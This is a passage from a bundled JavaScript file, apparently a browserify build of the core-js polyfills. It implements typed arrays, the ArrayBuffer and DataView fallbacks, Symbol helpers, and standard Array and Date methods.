addGetter($TypedArrayPrototype$, 'length', 'e');
dP($TypedArrayPrototype$, TAG, {
get: function(){ return this[TYPED_ARRAY]; }
});
module.exports = function(KEY, BYTES, wrapper, CLAMPED){
CLAMPED = !!CLAMPED;
var NAME = KEY + (CLAMPED ? 'Clamped' : '') + 'Array'
, ISNT_UINT8 = NAME != 'Uint8Array'
, GETTER = 'get' + KEY
, SETTER = 'set' + KEY
, TypedArray = global[NAME]
, Base = TypedArray || {}
, TAC = TypedArray && getPrototypeOf(TypedArray)
, FORCED = !TypedArray || !$typed.ABV
, O = {}
, TypedArrayPrototype = TypedArray && TypedArray[PROTOTYPE];
var getter = function(that, index){
var data = that._d;
return data.v[GETTER](index * BYTES + data.o, LITTLE_ENDIAN);
};
var setter = function(that, index, value){
var data = that._d;
if(CLAMPED)value = (value = Math.round(value)) < 0 ? 0 : value > 0xff ? 0xff : value & 0xff;
data.v[SETTER](index * BYTES + data.o, value, LITTLE_ENDIAN);
};
var addElement = function(that, index){
dP(that, index, {
get: function(){
return getter(this, index);
},
set: function(value){
return setter(this, index, value);
},
enumerable: true
});
};
if(FORCED){
TypedArray = wrapper(function(that, data, $offset, $length){
anInstance(that, TypedArray, NAME, '_d');
var index = 0
, offset = 0
, buffer, byteLength, length, klass;
if(!isObject(data)){
length = strictToLength(data, true)
byteLength = length * BYTES;
buffer = new $ArrayBuffer(byteLength);
} else if(data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER){
buffer = data;
offset = toOffset($offset, BYTES);
var $len = data.byteLength;
if($length === undefined){
if($len % BYTES)throw RangeError(WRONG_LENGTH);
byteLength = $len - offset;
if(byteLength < 0)throw RangeError(WRONG_LENGTH);
} else {
byteLength = toLength($length) * BYTES;
if(byteLength + offset > $len)throw RangeError(WRONG_LENGTH);
}
length = byteLength / BYTES;
} else if(TYPED_ARRAY in data){
return fromList(TypedArray, data);
} else {
return $from.call(TypedArray, data);
}
hide(that, '_d', {
b: buffer,
o: offset,
l: byteLength,
e: length,
v: new $DataView(buffer)
});
while(index < length)addElement(that, index++);
});
TypedArrayPrototype = TypedArray[PROTOTYPE] = create($TypedArrayPrototype$);
hide(TypedArrayPrototype, 'constructor', TypedArray);
} else if(!$iterDetect(function(iter){
// V8 works with iterators, but fails in many other cases
// https://code.google.com/p/v8/issues/detail?id=4552
new TypedArray(null); // eslint-disable-line no-new
new TypedArray(iter); // eslint-disable-line no-new
}, true)){
TypedArray = wrapper(function(that, data, $offset, $length){
anInstance(that, TypedArray, NAME);
var klass;
// `ws` module bug, temporarily remove validation length for Uint8Array
// https://github.com/websockets/ws/pull/645
if(!isObject(data))return new Base(strictToLength(data, ISNT_UINT8));
if(data instanceof $ArrayBuffer || (klass = classof(data)) == ARRAY_BUFFER || klass == SHARED_BUFFER){
return $length !== undefined
? new Base(data, toOffset($offset, BYTES), $length)
: $offset !== undefined
? new Base(data, toOffset($offset, BYTES))
: new Base(data);
}
if(TYPED_ARRAY in data)return fromList(TypedArray, data);
return $from.call(TypedArray, data);
});
arrayForEach(TAC !== Function.prototype ? gOPN(Base).concat(gOPN(TAC)) : gOPN(Base), function(key){
if(!(key in TypedArray))hide(TypedArray, key, Base[key]);
});
TypedArray[PROTOTYPE] = TypedArrayPrototype;
if(!LIBRARY)TypedArrayPrototype.constructor = TypedArray;
}
var $nativeIterator = TypedArrayPrototype[ITERATOR]
, CORRECT_ITER_NAME = !!$nativeIterator && ($nativeIterator.name == 'values' || $nativeIterator.name == undefined)
, $iterator = $iterators.values;
hide(TypedArray, TYPED_CONSTRUCTOR, true);
hide(TypedArrayPrototype, TYPED_ARRAY, NAME);
hide(TypedArrayPrototype, VIEW, true);
hide(TypedArrayPrototype, DEF_CONSTRUCTOR, TypedArray);
if(CLAMPED ? new TypedArray(1)[TAG] != NAME : !(TAG in TypedArrayPrototype)){
dP(TypedArrayPrototype, TAG, {
get: function(){ return NAME; }
});
}
O[NAME] = TypedArray;
$export($export.G + $export.W + $export.F * (TypedArray != Base), O);
$export($export.S, NAME, {
BYTES_PER_ELEMENT: BYTES,
from: $from,
of: $of
});
if(!(BYTES_PER_ELEMENT in TypedArrayPrototype))hide(TypedArrayPrototype, BYTES_PER_ELEMENT, BYTES);
$export($export.P, NAME, proto);
setSpecies(NAME);
$export($export.P + $export.F * FORCED_SET, NAME, {set: $set});
$export($export.P + $export.F * !CORRECT_ITER_NAME, NAME, $iterators);
$export($export.P + $export.F * (TypedArrayPrototype.toString != arrayToString), NAME, {toString: arrayToString});
$export($export.P + $export.F * fails(function(){
new TypedArray(1).slice();
}), NAME, {slice: $slice});
$export($export.P + $export.F * (fails(function(){
return [1, 2].toLocaleString() != new TypedArray([1, 2]).toLocaleString()
}) || !fails(function(){
TypedArrayPrototype.toLocaleString.call([1, 2]);
})), NAME, {toLocaleString: $toLocaleString});
Iterators[NAME] = CORRECT_ITER_NAME ? $nativeIterator : $iterator;
if(!LIBRARY && !CORRECT_ITER_NAME)hide(TypedArrayPrototype, ITERATOR, $iterator);
};
} else module.exports = function(){ /* empty */ };
},{"105":105,"106":106,"108":108,"109":109,"11":11,"110":110,"112":112,"113":113,"114":114,"117":117,"118":118,"12":12,"130":130,"17":17,"25":25,"28":28,"32":32,"34":34,"38":38,"39":39,"40":40,"46":46,"49":49,"54":54,"56":56,"58":58,"6":6,"66":66,"67":67,"70":70,"72":72,"74":74,"8":8,"85":85,"86":86,"89":89,"9":9,"91":91,"95":95}],112:[function(_dereq_,module,exports){
'use strict';
var global = _dereq_(38)
, DESCRIPTORS = _dereq_(28)
, LIBRARY = _dereq_(58)
, $typed = _dereq_(113)
, hide = _dereq_(40)
, redefineAll = _dereq_(86)
, fails = _dereq_(34)
, anInstance = _dereq_(6)
, toInteger = _dereq_(106)
, toLength = _dereq_(108)
, gOPN = _dereq_(72).f
, dP = _dereq_(67).f
, arrayFill = _dereq_(9)
, setToStringTag = _dereq_(92)
, ARRAY_BUFFER = 'ArrayBuffer'
, DATA_VIEW = 'DataView'
, PROTOTYPE = 'prototype'
, WRONG_LENGTH = 'Wrong length!'
, WRONG_INDEX = 'Wrong index!'
, $ArrayBuffer = global[ARRAY_BUFFER]
, $DataView = global[DATA_VIEW]
, Math = global.Math
, RangeError = global.RangeError
, Infinity = global.Infinity
, BaseBuffer = $ArrayBuffer
, abs = Math.abs
, pow = Math.pow
, floor = Math.floor
, log = Math.log
, LN2 = Math.LN2
, BUFFER = 'buffer'
, BYTE_LENGTH = 'byteLength'
, BYTE_OFFSET = 'byteOffset'
, $BUFFER = DESCRIPTORS ? '_b' : BUFFER
, $LENGTH = DESCRIPTORS ? '_l' : BYTE_LENGTH
, $OFFSET = DESCRIPTORS ? '_o' : BYTE_OFFSET;
// IEEE754 conversions based on https://github.com/feross/ieee754
var packIEEE754 = function(value, mLen, nBytes){
var buffer = Array(nBytes)
, eLen = nBytes * 8 - mLen - 1
, eMax = (1 << eLen) - 1
, eBias = eMax >> 1
, rt = mLen === 23 ? pow(2, -24) - pow(2, -77) : 0
, i = 0
, s = value < 0 || value === 0 && 1 / value < 0 ? 1 : 0
, e, m, c;
value = abs(value)
if(value != value || value === Infinity){
m = value != value ? 1 : 0;
e = eMax;
} else {
e = floor(log(value) / LN2);
if(value * (c = pow(2, -e)) < 1){
e--;
c *= 2;
}
if(e + eBias >= 1){
value += rt / c;
} else {
value += rt * pow(2, 1 - eBias);
}
if(value * c >= 2){
e++;
c /= 2;
}
if(e + eBias >= eMax){
m = 0;
e = eMax;
} else if(e + eBias >= 1){
m = (value * c - 1) * pow(2, mLen);
e = e + eBias;
} else {
m = value * pow(2, eBias - 1) * pow(2, mLen);
e = 0;
}
}
for(; mLen >= 8; buffer[i++] = m & 255, m /= 256, mLen -= 8);
e = e << mLen | m;
eLen += mLen;
for(; eLen > 0; buffer[i++] = e & 255, e /= 256, eLen -= 8);
buffer[--i] |= s * 128;
return buffer;
};
var unpackIEEE754 = function(buffer, mLen, nBytes){
var eLen = nBytes * 8 - mLen - 1
, eMax = (1 << eLen) - 1
, eBias = eMax >> 1
, nBits = eLen - 7
, i = nBytes - 1
, s = buffer[i--]
, e = s & 127
, m;
s >>= 7;
for(; nBits > 0; e = e * 256 + buffer[i], i--, nBits -= 8);
m = e & (1 << -nBits) - 1;
e >>= -nBits;
nBits += mLen;
for(; nBits > 0; m = m * 256 + buffer[i], i--, nBits -= 8);
if(e === 0){
e = 1 - eBias;
} else if(e === eMax){
return m ? NaN : s ? -Infinity : Infinity;
} else {
m = m + pow(2, mLen);
e = e - eBias;
} return (s ? -1 : 1) * m * pow(2, e - mLen);
};
var unpackI32 = function(bytes){
return bytes[3] << 24 | bytes[2] << 16 | bytes[1] << 8 | bytes[0];
};
var packI8 = function(it){
return [it & 0xff];
};
var packI16 = function(it){
return [it & 0xff, it >> 8 & 0xff];
};
var packI32 = function(it){
return [it & 0xff, it >> 8 & 0xff, it >> 16 & 0xff, it >> 24 & 0xff];
};
var packF64 = function(it){
return packIEEE754(it, 52, 8);
};
var packF32 = function(it){
return packIEEE754(it, 23, 4);
};
var addGetter = function(C, key, internal){
dP(C[PROTOTYPE], key, {get: function(){ return this[internal]; }});
};
var get = function(view, bytes, index, isLittleEndian){
var numIndex = +index
, intIndex = toInteger(numIndex);
if(numIndex != intIndex || intIndex < 0 || intIndex + bytes > view[$LENGTH])throw RangeError(WRONG_INDEX);
var store = view[$BUFFER]._b
, start = intIndex + view[$OFFSET]
, pack = store.slice(start, start + bytes);
return isLittleEndian ? pack : pack.reverse();
};
var set = function(view, bytes, index, conversion, value, isLittleEndian){
var numIndex = +index
, intIndex = toInteger(numIndex);
if(numIndex != intIndex || intIndex < 0 || intIndex + bytes > view[$LENGTH])throw RangeError(WRONG_INDEX);
var store = view[$BUFFER]._b
, start = intIndex + view[$OFFSET]
, pack = conversion(+value);
for(var i = 0; i < bytes; i++)store[start + i] = pack[isLittleEndian ? i : bytes - i - 1];
};
var validateArrayBufferArguments = function(that, length){
anInstance(that, $ArrayBuffer, ARRAY_BUFFER);
var numberLength = +length
, byteLength = toLength(numberLength);
if(numberLength != byteLength)throw RangeError(WRONG_LENGTH);
return byteLength;
};
if(!$typed.ABV){
$ArrayBuffer = function ArrayBuffer(length){
var byteLength = validateArrayBufferArguments(this, length);
this._b = arrayFill.call(Array(byteLength), 0);
this[$LENGTH] = byteLength;
};
$DataView = function DataView(buffer, byteOffset, byteLength){
anInstance(this, $DataView, DATA_VIEW);
anInstance(buffer, $ArrayBuffer, DATA_VIEW);
var bufferLength = buffer[$LENGTH]
, offset = toInteger(byteOffset);
if(offset < 0 || offset > bufferLength)throw RangeError('Wrong offset!');
byteLength = byteLength === undefined ? bufferLength - offset : toLength(byteLength);
if(offset + byteLength > bufferLength)throw RangeError(WRONG_LENGTH);
this[$BUFFER] = buffer;
this[$OFFSET] = offset;
this[$LENGTH] = byteLength;
};
if(DESCRIPTORS){
addGetter($ArrayBuffer, BYTE_LENGTH, '_l');
addGetter($DataView, BUFFER, '_b');
addGetter($DataView, BYTE_LENGTH, '_l');
addGetter($DataView, BYTE_OFFSET, '_o');
}
redefineAll($DataView[PROTOTYPE], {
getInt8: function getInt8(byteOffset){
return get(this, 1, byteOffset)[0] << 24 >> 24;
},
getUint8: function getUint8(byteOffset){
return get(this, 1, byteOffset)[0];
},
getInt16: function getInt16(byteOffset /*, littleEndian */){
var bytes = get(this, 2, byteOffset, arguments[1]);
return (bytes[1] << 8 | bytes[0]) << 16 >> 16;
},
getUint16: function getUint16(byteOffset /*, littleEndian */){
var bytes = get(this, 2, byteOffset, arguments[1]);
return bytes[1] << 8 | bytes[0];
},
getInt32: function getInt32(byteOffset /*, littleEndian */){
return unpackI32(get(this, 4, byteOffset, arguments[1]));
},
getUint32: function getUint32(byteOffset /*, littleEndian */){
return unpackI32(get(this, 4, byteOffset, arguments[1])) >>> 0;
},
getFloat32: function getFloat32(byteOffset /*, littleEndian */){
return unpackIEEE754(get(this, 4, byteOffset, arguments[1]), 23, 4);
},
getFloat64: function getFloat64(byteOffset /*, littleEndian */){
return unpackIEEE754(get(this, 8, byteOffset, arguments[1]), 52, 8);
},
setInt8: function setInt8(byteOffset, value){
set(this, 1, byteOffset, packI8, value);
},
setUint8: function setUint8(byteOffset, value){
set(this, 1, byteOffset, packI8, value);
},
setInt16: function setInt16(byteOffset, value /*, littleEndian */){
set(this, 2, byteOffset, packI16, value, arguments[2]);
},
setUint16: function setUint16(byteOffset, value /*, littleEndian */){
set(this, 2, byteOffset, packI16, value, arguments[2]);
},
setInt32: function setInt32(byteOffset, value /*, littleEndian */){
set(this, 4, byteOffset, packI32, value, arguments[2]);
},
setUint32: function setUint32(byteOffset, value /*, littleEndian */){
set(this, 4, byteOffset, packI32, value, arguments[2]);
},
setFloat32: function setFloat32(byteOffset, value /*, littleEndian */){
set(this, 4, byteOffset, packF32, value, arguments[2]);
},
setFloat64: function setFloat64(byteOffset, value /*, littleEndian */){
set(this, 8, byteOffset, packF64, value, arguments[2]);
}
});
} else {
if(!fails(function(){
new $ArrayBuffer; // eslint-disable-line no-new
}) || !fails(function(){
new $ArrayBuffer(.5); // eslint-disable-line no-new
})){
$ArrayBuffer = function ArrayBuffer(length){
return new BaseBuffer(validateArrayBufferArguments(this, length));
};
var ArrayBufferProto = $ArrayBuffer[PROTOTYPE] = BaseBuffer[PROTOTYPE];
for(var keys = gOPN(BaseBuffer), j = 0, key; keys.length > j; ){
if(!((key = keys[j++]) in $ArrayBuffer))hide($ArrayBuffer, key, BaseBuffer[key]);
};
if(!LIBRARY)ArrayBufferProto.constructor = $ArrayBuffer;
}
// iOS Safari 7.x bug
var view = new $DataView(new $ArrayBuffer(2))
, $setInt8 = $DataView[PROTOTYPE].setInt8;
view.setInt8(0, 2147483648);
view.setInt8(1, 2147483649);
if(view.getInt8(0) || !view.getInt8(1))redefineAll($DataView[PROTOTYPE], {
setInt8: function setInt8(byteOffset, value){
$setInt8.call(this, byteOffset, value << 24 >> 24);
},
setUint8: function setUint8(byteOffset, value){
$setInt8.call(this, byteOffset, value << 24 >> 24);
}
}, true);
}
setToStringTag($ArrayBuffer, ARRAY_BUFFER);
setToStringTag($DataView, DATA_VIEW);
hide($DataView[PROTOTYPE], $typed.VIEW, true);
exports[ARRAY_BUFFER] = $ArrayBuffer;
exports[DATA_VIEW] = $DataView;
},{"106":106,"108":108,"113":113,"28":28,"34":34,"38":38,"40":40,"58":58,"6":6,"67":67,"72":72,"86":86,"9":9,"92":92}],113:[function(_dereq_,module,exports){
var global = _dereq_(38)
, hide = _dereq_(40)
, uid = _dereq_(114)
, TYPED = uid('typed_array')
, VIEW = uid('view')
, ABV = !!(global.ArrayBuffer && global.DataView)
, CONSTR = ABV
, i = 0, l = 9, Typed;
var TypedArrayConstructors = (
'Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array'
).split(',');
while(i < l){
if(Typed = global[TypedArrayConstructors[i++]]){
hide(Typed.prototype, TYPED, true);
hide(Typed.prototype, VIEW, true);
} else CONSTR = false;
}
module.exports = {
ABV: ABV,
CONSTR: CONSTR,
TYPED: TYPED,
VIEW: VIEW
};
},{"114":114,"38":38,"40":40}],114:[function(_dereq_,module,exports){
var id = 0
, px = Math.random();
module.exports = function(key){
return 'Symbol('.concat(key === undefined ? '' : key, ')_', (++id + px).toString(36));
};
},{}],115:[function(_dereq_,module,exports){
var global = _dereq_(38)
, core = _dereq_(23)
, LIBRARY = _dereq_(58)
, wksExt = _dereq_(116)
, defineProperty = _dereq_(67).f;
module.exports = function(name){
var $Symbol = core.Symbol || (core.Symbol = LIBRARY ? {} : global.Symbol || {});
if(name.charAt(0) != '_' && !(name in $Symbol))defineProperty($Symbol, name, {value: wksExt.f(name)});
};
},{"116":116,"23":23,"38":38,"58":58,"67":67}],116:[function(_dereq_,module,exports){
exports.f = _dereq_(117);
},{"117":117}],117:[function(_dereq_,module,exports){
var store = _dereq_(94)('wks')
, uid = _dereq_(114)
, Symbol = _dereq_(38).Symbol
, USE_SYMBOL = typeof Symbol == 'function';
var $exports = module.exports = function(name){
return store[name] || (store[name] =
USE_SYMBOL && Symbol[name] || (USE_SYMBOL ? Symbol : uid)('Symbol.' + name));
};
$exports.store = store;
},{"114":114,"38":38,"94":94}],118:[function(_dereq_,module,exports){
var classof = _dereq_(17)
, ITERATOR = _dereq_(117)('iterator')
, Iterators = _dereq_(56);
module.exports = _dereq_(23).getIteratorMethod = function(it){
if(it != undefined)return it[ITERATOR]
|| it['@@iterator']
|| Iterators[classof(it)];
};
},{"117":117,"17":17,"23":23,"56":56}],119:[function(_dereq_,module,exports){
// https://github.com/benjamingr/RexExp.escape
var $export = _dereq_(32)
, $re = _dereq_(88)(/[\\^$*+?.()|[\]{}]/g, '\\$&');
$export($export.S, 'RegExp', {escape: function escape(it){ return $re(it); }});
},{"32":32,"88":88}],120:[function(_dereq_,module,exports){
// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length)
var $export = _dereq_(32);
$export($export.P, 'Array', {copyWithin: _dereq_(8)});
_dereq_(5)('copyWithin');
},{"32":32,"5":5,"8":8}],121:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $every = _dereq_(12)(4);
$export($export.P + $export.F * !_dereq_(96)([].every, true), 'Array', {
// 22.1.3.5 / 15.4.4.16 Array.prototype.every(callbackfn [, thisArg])
every: function every(callbackfn /* , thisArg */){
return $every(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],122:[function(_dereq_,module,exports){
// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length)
var $export = _dereq_(32);
$export($export.P, 'Array', {fill: _dereq_(9)});
_dereq_(5)('fill');
},{"32":32,"5":5,"9":9}],123:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $filter = _dereq_(12)(2);
$export($export.P + $export.F * !_dereq_(96)([].filter, true), 'Array', {
// 22.1.3.7 / 15.4.4.20 Array.prototype.filter(callbackfn [, thisArg])
filter: function filter(callbackfn /* , thisArg */){
return $filter(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],124:[function(_dereq_,module,exports){
'use strict';
// 22.1.3.9 Array.prototype.findIndex(predicate, thisArg = undefined)
var $export = _dereq_(32)
, $find = _dereq_(12)(6)
, KEY = 'findIndex'
, forced = true;
// Shouldn't skip holes
if(KEY in [])Array(1)[KEY](function(){ forced = false; });
$export($export.P + $export.F * forced, 'Array', {
findIndex: function findIndex(callbackfn/*, that = undefined */){
return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
_dereq_(5)(KEY);
},{"12":12,"32":32,"5":5}],125:[function(_dereq_,module,exports){
'use strict';
// 22.1.3.8 Array.prototype.find(predicate, thisArg = undefined)
var $export = _dereq_(32)
, $find = _dereq_(12)(5)
, KEY = 'find'
, forced = true;
// Shouldn't skip holes
if(KEY in [])Array(1)[KEY](function(){ forced = false; });
$export($export.P + $export.F * forced, 'Array', {
find: function find(callbackfn/*, that = undefined */){
return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
_dereq_(5)(KEY);
},{"12":12,"32":32,"5":5}],126:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $forEach = _dereq_(12)(0)
, STRICT = _dereq_(96)([].forEach, true);
$export($export.P + $export.F * !STRICT, 'Array', {
// 22.1.3.10 / 15.4.4.18 Array.prototype.forEach(callbackfn [, thisArg])
forEach: function forEach(callbackfn /* , thisArg */){
return $forEach(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],127:[function(_dereq_,module,exports){
'use strict';
var ctx = _dereq_(25)
, $export = _dereq_(32)
, toObject = _dereq_(109)
, call = _dereq_(51)
, isArrayIter = _dereq_(46)
, toLength = _dereq_(108)
, createProperty = _dereq_(24)
, getIterFn = _dereq_(118);
$export($export.S + $export.F * !_dereq_(54)(function(iter){ Array.from(iter); }), 'Array', {
// 22.1.2.1 Array.from(arrayLike, mapfn = undefined, thisArg = undefined)
from: function from(arrayLike/*, mapfn = undefined, thisArg = undefined*/){
var O = toObject(arrayLike)
, C = typeof this == 'function' ? this : Array
, aLen = arguments.length
, mapfn = aLen > 1 ? arguments[1] : undefined
, mapping = mapfn !== undefined
, index = 0
, iterFn = getIterFn(O)
, length, result, step, iterator;
if(mapping)mapfn = ctx(mapfn, aLen > 2 ? arguments[2] : undefined, 2);
// if object isn't iterable or it's array with default iterator - use simple case
if(iterFn != undefined && !(C == Array && isArrayIter(iterFn))){
for(iterator = iterFn.call(O), result = new C; !(step = iterator.next()).done; index++){
createProperty(result, index, mapping ? call(iterator, mapfn, [step.value, index], true) : step.value);
}
} else {
length = toLength(O.length);
for(result = new C(length); length > index; index++){
createProperty(result, index, mapping ? mapfn(O[index], index) : O[index]);
}
}
result.length = index;
return result;
}
});
},{"108":108,"109":109,"118":118,"24":24,"25":25,"32":32,"46":46,"51":51,"54":54}],128:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $indexOf = _dereq_(11)(false)
, $native = [].indexOf
, NEGATIVE_ZERO = !!$native && 1 / [1].indexOf(1, -0) < 0;
$export($export.P + $export.F * (NEGATIVE_ZERO || !_dereq_(96)($native)), 'Array', {
// 22.1.3.11 / 15.4.4.14 Array.prototype.indexOf(searchElement [, fromIndex])
indexOf: function indexOf(searchElement /*, fromIndex = 0 */){
return NEGATIVE_ZERO
// convert -0 to +0
? $native.apply(this, arguments) || 0
: $indexOf(this, searchElement, arguments[1]);
}
});
},{"11":11,"32":32,"96":96}],129:[function(_dereq_,module,exports){
// 22.1.2.2 / 15.4.3.2 Array.isArray(arg)
var $export = _dereq_(32);
$export($export.S, 'Array', {isArray: _dereq_(47)});
},{"32":32,"47":47}],130:[function(_dereq_,module,exports){
'use strict';
var addToUnscopables = _dereq_(5)
, step = _dereq_(55)
, Iterators = _dereq_(56)
, toIObject = _dereq_(107);
// 22.1.3.4 Array.prototype.entries()
// 22.1.3.13 Array.prototype.keys()
// 22.1.3.29 Array.prototype.values()
// 22.1.3.30 Array.prototype[@@iterator]()
module.exports = _dereq_(53)(Array, 'Array', function(iterated, kind){
this._t = toIObject(iterated); // target
this._i = 0; // next index
this._k = kind; // kind
// 22.1.5.2.1 %ArrayIteratorPrototype%.next()
}, function(){
var O = this._t
, kind = this._k
, index = this._i++;
if(!O || index >= O.length){
this._t = undefined;
return step(1);
}
if(kind == 'keys' )return step(0, index);
if(kind == 'values')return step(0, O[index]);
return step(0, [index, O[index]]);
}, 'values');
// argumentsList[@@iterator] is %ArrayProto_values% (9.4.4.6, 9.4.4.7)
Iterators.Arguments = Iterators.Array;
addToUnscopables('keys');
addToUnscopables('values');
addToUnscopables('entries');
},{"107":107,"5":5,"53":53,"55":55,"56":56}],131:[function(_dereq_,module,exports){
'use strict';
// 22.1.3.13 Array.prototype.join(separator)
var $export = _dereq_(32)
, toIObject = _dereq_(107)
, arrayJoin = [].join;
// fallback for not array-like strings
$export($export.P + $export.F * (_dereq_(45) != Object || !_dereq_(96)(arrayJoin)), 'Array', {
join: function join(separator){
return arrayJoin.call(toIObject(this), separator === undefined ? ',' : separator);
}
});
},{"107":107,"32":32,"45":45,"96":96}],132:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toIObject = _dereq_(107)
, toInteger = _dereq_(106)
, toLength = _dereq_(108)
, $native = [].lastIndexOf
, NEGATIVE_ZERO = !!$native && 1 / [1].lastIndexOf(1, -0) < 0;
$export($export.P + $export.F * (NEGATIVE_ZERO || !_dereq_(96)($native)), 'Array', {
// 22.1.3.14 / 15.4.4.15 Array.prototype.lastIndexOf(searchElement [, fromIndex])
lastIndexOf: function lastIndexOf(searchElement /*, fromIndex = @[*-1] */){
// convert -0 to +0
if(NEGATIVE_ZERO)return $native.apply(this, arguments) || 0;
var O = toIObject(this)
, length = toLength(O.length)
, index = length - 1;
if(arguments.length > 1)index = Math.min(index, toInteger(arguments[1]));
if(index < 0)index = length + index;
for(;index >= 0; index--)if(index in O)if(O[index] === searchElement)return index || 0;
return -1;
}
});
},{"106":106,"107":107,"108":108,"32":32,"96":96}],133:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $map = _dereq_(12)(1);
$export($export.P + $export.F * !_dereq_(96)([].map, true), 'Array', {
// 22.1.3.15 / 15.4.4.19 Array.prototype.map(callbackfn [, thisArg])
map: function map(callbackfn /* , thisArg */){
return $map(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],134:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, createProperty = _dereq_(24);
// WebKit Array.of isn't generic
$export($export.S + $export.F * _dereq_(34)(function(){
function F(){}
return !(Array.of.call(F) instanceof F);
}), 'Array', {
// 22.1.2.3 Array.of( ...items)
of: function of(/* ...args */){
var index = 0
, aLen = arguments.length
, result = new (typeof this == 'function' ? this : Array)(aLen);
while(aLen > index)createProperty(result, index, arguments[index++]);
result.length = aLen;
return result;
}
});
},{"24":24,"32":32,"34":34}],135:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $reduce = _dereq_(13);
$export($export.P + $export.F * !_dereq_(96)([].reduceRight, true), 'Array', {
// 22.1.3.19 / 15.4.4.22 Array.prototype.reduceRight(callbackfn [, initialValue])
reduceRight: function reduceRight(callbackfn /* , initialValue */){
return $reduce(this, callbackfn, arguments.length, arguments[1], true);
}
});
},{"13":13,"32":32,"96":96}],136:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $reduce = _dereq_(13);
$export($export.P + $export.F * !_dereq_(96)([].reduce, true), 'Array', {
// 22.1.3.18 / 15.4.4.21 Array.prototype.reduce(callbackfn [, initialValue])
reduce: function reduce(callbackfn /* , initialValue */){
return $reduce(this, callbackfn, arguments.length, arguments[1], false);
}
});
},{"13":13,"32":32,"96":96}],137:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, html = _dereq_(41)
, cof = _dereq_(18)
, toIndex = _dereq_(105)
, toLength = _dereq_(108)
, arraySlice = [].slice;
// fallback for not array-like ES3 strings and DOM objects
$export($export.P + $export.F * _dereq_(34)(function(){
if(html)arraySlice.call(html);
}), 'Array', {
slice: function slice(begin, end){
var len = toLength(this.length)
, klass = cof(this);
end = end === undefined ? len : end;
if(klass == 'Array')return arraySlice.call(this, begin, end);
var start = toIndex(begin, len)
, upTo = toIndex(end, len)
, size = toLength(upTo - start)
, cloned = Array(size)
, i = 0;
for(; i < size; i++)cloned[i] = klass == 'String'
? this.charAt(start + i)
: this[start + i];
return cloned;
}
});
},{"105":105,"108":108,"18":18,"32":32,"34":34,"41":41}],138:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $some = _dereq_(12)(3);
$export($export.P + $export.F * !_dereq_(96)([].some, true), 'Array', {
// 22.1.3.23 / 15.4.4.17 Array.prototype.some(callbackfn [, thisArg])
some: function some(callbackfn /* , thisArg */){
return $some(this, callbackfn, arguments[1]);
}
});
},{"12":12,"32":32,"96":96}],139:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, aFunction = _dereq_(3)
, toObject = _dereq_(109)
, fails = _dereq_(34)
, $sort = [].sort
, test = [1, 2, 3];
$export($export.P + $export.F * (fails(function(){
// IE8-
test.sort(undefined);
}) || !fails(function(){
// V8 bug
test.sort(null);
// Old WebKit
}) || !_dereq_(96)($sort)), 'Array', {
// 22.1.3.25 Array.prototype.sort(comparefn)
sort: function sort(comparefn){
return comparefn === undefined
? $sort.call(toObject(this))
: $sort.call(toObject(this), aFunction(comparefn));
}
});
},{"109":109,"3":3,"32":32,"34":34,"96":96}],140:[function(_dereq_,module,exports){
_dereq_(91)('Array');
},{"91":91}],141:[function(_dereq_,module,exports){
// 20.3.3.1 / 15.9.4.4 Date.now()
var $export = _dereq_(32);
$export($export.S, 'Date', {now: function(){ return new Date().getTime(); }});
},{"32":32}],142:[function(_dereq_,module,exports){
'use strict';
// 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString()
var $export = _dereq_(32)
, fails = _dereq_(34)
, getTime = Date.prototype.getTime;
var lz = function(num){
return num > 9 ? num : '0' + num;
};
// PhantomJS / old WebKit has a broken implementations
$export($export.P + $export.F * (fails(function(){
return new Date(-5e13 - 1).toISOString() != '0385-07-25T07:06:39.999Z';
}) || !fails(function(){
new Date(NaN).toISOString();
})), 'Date', {
toISOString: function toISOString(){
if(!isFinite(getTime.call(this)))throw RangeError('Invalid time value');
var d = this
, y = d.getUTCFullYear()
, m = d.getUTCMilliseconds()
, s = y < 0 ? '-' : y > 9999 ? '+' : '';
return s + ('00000' + Math.abs(y)).slice(s ? -6 : -4) +
'-' + lz(d.getUTCMonth() + 1) + '-' + lz(d.getUTCDate()) +
'T' + lz(d.getUTCHours()) + ':' + lz(d.getUTCMinutes()) +
':' + lz(d.getUTCSeconds()) + '.' + (m > 99 ? m : '0' + lz(m)) + 'Z';
}
});
},{"32":32,"34":34}],143:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, toPrimitive = _dereq_(110);
$export($export.P + $export.F * _dereq_(34)(function(){
return new Date(NaN).toJSON() !== null || Date.prototype.toJSON.call({toISOString: function(){ return 1; }}) !== 1;
}), 'Date', {
toJSON: function toJSON(key){
var O = toObject(this)
, pv = toPrimitive(O);
return typeof pv == 'number' && !isFinite(pv) ? null : O.toISOString();
}
});
},{"109":109,"110":110,"32":32,"34":34}],144:[function(_dereq_,module,exports){
var TO_PRIMITIVE = _dereq_(117)('toPrimitive')
, proto = Date.prototype;
